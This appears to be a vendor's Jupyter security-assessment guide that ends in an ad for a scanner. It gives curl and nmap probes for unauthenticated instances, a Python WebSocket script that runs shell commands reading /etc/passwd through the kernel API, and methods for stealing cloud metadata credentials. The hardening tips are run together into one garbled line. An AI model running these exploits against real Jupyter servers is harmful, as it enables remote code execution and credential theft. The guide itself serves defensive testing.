Jupyter Notebook and JupyterLab are the dominant interactive computing environments for data science and machine learning. Their security posture is often poorly understood: Jupyter starts with token authentication enabled by default but many corporate deployments disable it with --NotebookApp.token='' or run behind a reverse proxy that strips authentication headers; the built-in terminal feature gives authenticated (or unauthenticated) users a full shell on the host OS, not just Python execution; notebook files (.ipynb) are JSON and can be crafted to execute arbitrary code when opened — this is the intended behavior but enables supply chain attacks via shared notebooks in data repositories; cloud-deployed Jupyter instances on EC2/GCP/Azure can query the instance metadata service from within a notebook cell; and JupyterHub multiuser deployments often misconfigure spawner privileges, allowing users to mount host paths or access other users' home directories. This guide covers systematic Jupyter security assessment.
# Jupyter default ports: 8888 (single-user), 8000 (JupyterHub)
# Also common: 8889, 8890, 8080 (when 8888 is taken)
# Check if Jupyter is running without authentication
curl -s http://jupyter.example.com:8888/api 2>/dev/null | python3 -m json.tool | head -5
# {"version":"6.x.x"} returned without auth = no auth required
# Check Jupyter login page
curl -s -o /dev/null -w "%{http_code}" http://jupyter.example.com:8888/tree 2>/dev/null
# 200 = no auth; 302 to /login = token/password auth required
# Try empty token (common misconfiguration)
curl -s "http://jupyter.example.com:8888/api/kernels" \
-H "Authorization: token " 2>/dev/null | python3 -m json.tool | head -3
# Check JupyterHub login
curl -s http://jupyterhub.example.com:8000/hub/api 2>/dev/null | \
python3 -m json.tool | head -5
# {"version":"4.x.x"} indicates JupyterHub
# Discover Jupyter instances via Shodan-style service banner
nmap -sV --script banner -p 8888 10.0.0.0/24 2>/dev/null | \
grep -B2 -A2 "Jupyter" | head -20
# If Jupyter has no authentication, execute arbitrary Python via the kernel API
# Step 1: Create a new kernel
KERNEL_ID=$(curl -s -X POST http://jupyter.example.com:8888/api/kernels \
-H "Content-Type: application/json" \
-d '{"name":"python3"}' 2>/dev/null | \
python3 -c "import json,sys; print(json.load(sys.stdin).get('id',''))" 2>/dev/null)
echo "Kernel ID: $KERNEL_ID"
# Step 2: Execute code via WebSocket kernel channel
# The kernel uses WebSocket for code execution — use a Python helper to send a message
python3 - << 'PYEOF'
import websocket, json, uuid, time
JUPYTER_URL = "ws://jupyter.example.com:8888"
KERNEL_ID = "REPLACE_WITH_KERNEL_ID"
ws = websocket.create_connection(f"{JUPYTER_URL}/api/kernels/{KERNEL_ID}/channels")
# Send execute_request message
msg = {
"header": {"msg_id": str(uuid.uuid4()), "username": "attacker",
"session": str(uuid.uuid4()), "msg_type": "execute_request",
"version": "5.0"},
"parent_header": {}, "metadata": {}, "channel": "shell",
"content": {"code": "import os; print(os.popen('id && cat /etc/passwd | head -3').read())",
"silent": False}
}
ws.send(json.dumps(msg))
time.sleep(2)
for _ in range(5):
result = ws.recv()
parsed = json.loads(result)
if parsed.get("msg_type") == "stream":
print("OUTPUT:", parsed["content"]["text"])
break
ws.close()
PYEOF
--NotebookApp.token='' — always require token or password authentication--ip=127.0.0.1 and access via SSH tunnel or authenticated reverse proxyc.NotebookApp.terminals_enabled = False in jupyter_notebook_config.py| Security Test | Method | Risk |
|---|---|---|
| No authentication enables arbitrary code execution | GET /api/kernels — 200 without token; create kernel and execute OS commands via WebSocket | Critical |
| Terminal access gives full host shell | GET /terminals/1 — terminal session executes arbitrary shell commands on host OS | Critical |
| Cloud IMDS accessible from notebook cells | requests.get("http://169.254.169.254/...") from cell — retrieves IAM role credentials | High |
| Notebook files in git contain credentials | grep for api_key/password in .ipynb files in git history — output cells often store results | High |
| JupyterHub user isolation bypass | Read /home/otheruser/ from spawned server — file permission misconfiguration | High |
| Empty token accepted as valid auth | Authorization: token (empty) header — accepted on some misconfigured deployments | Medium |
Ironimo tests Jupyter Notebook and JupyterHub deployments for unauthenticated access enabling arbitrary Python execution via the kernel API, built-in terminal providing full host shell access, cloud IMDS credential theft from within notebook cells, notebook files in repositories containing embedded API keys and credentials in output cells, JupyterHub user isolation bypass via filesystem permission misconfiguration, and empty token authentication bypass on misconfigured deployments.
Start free scan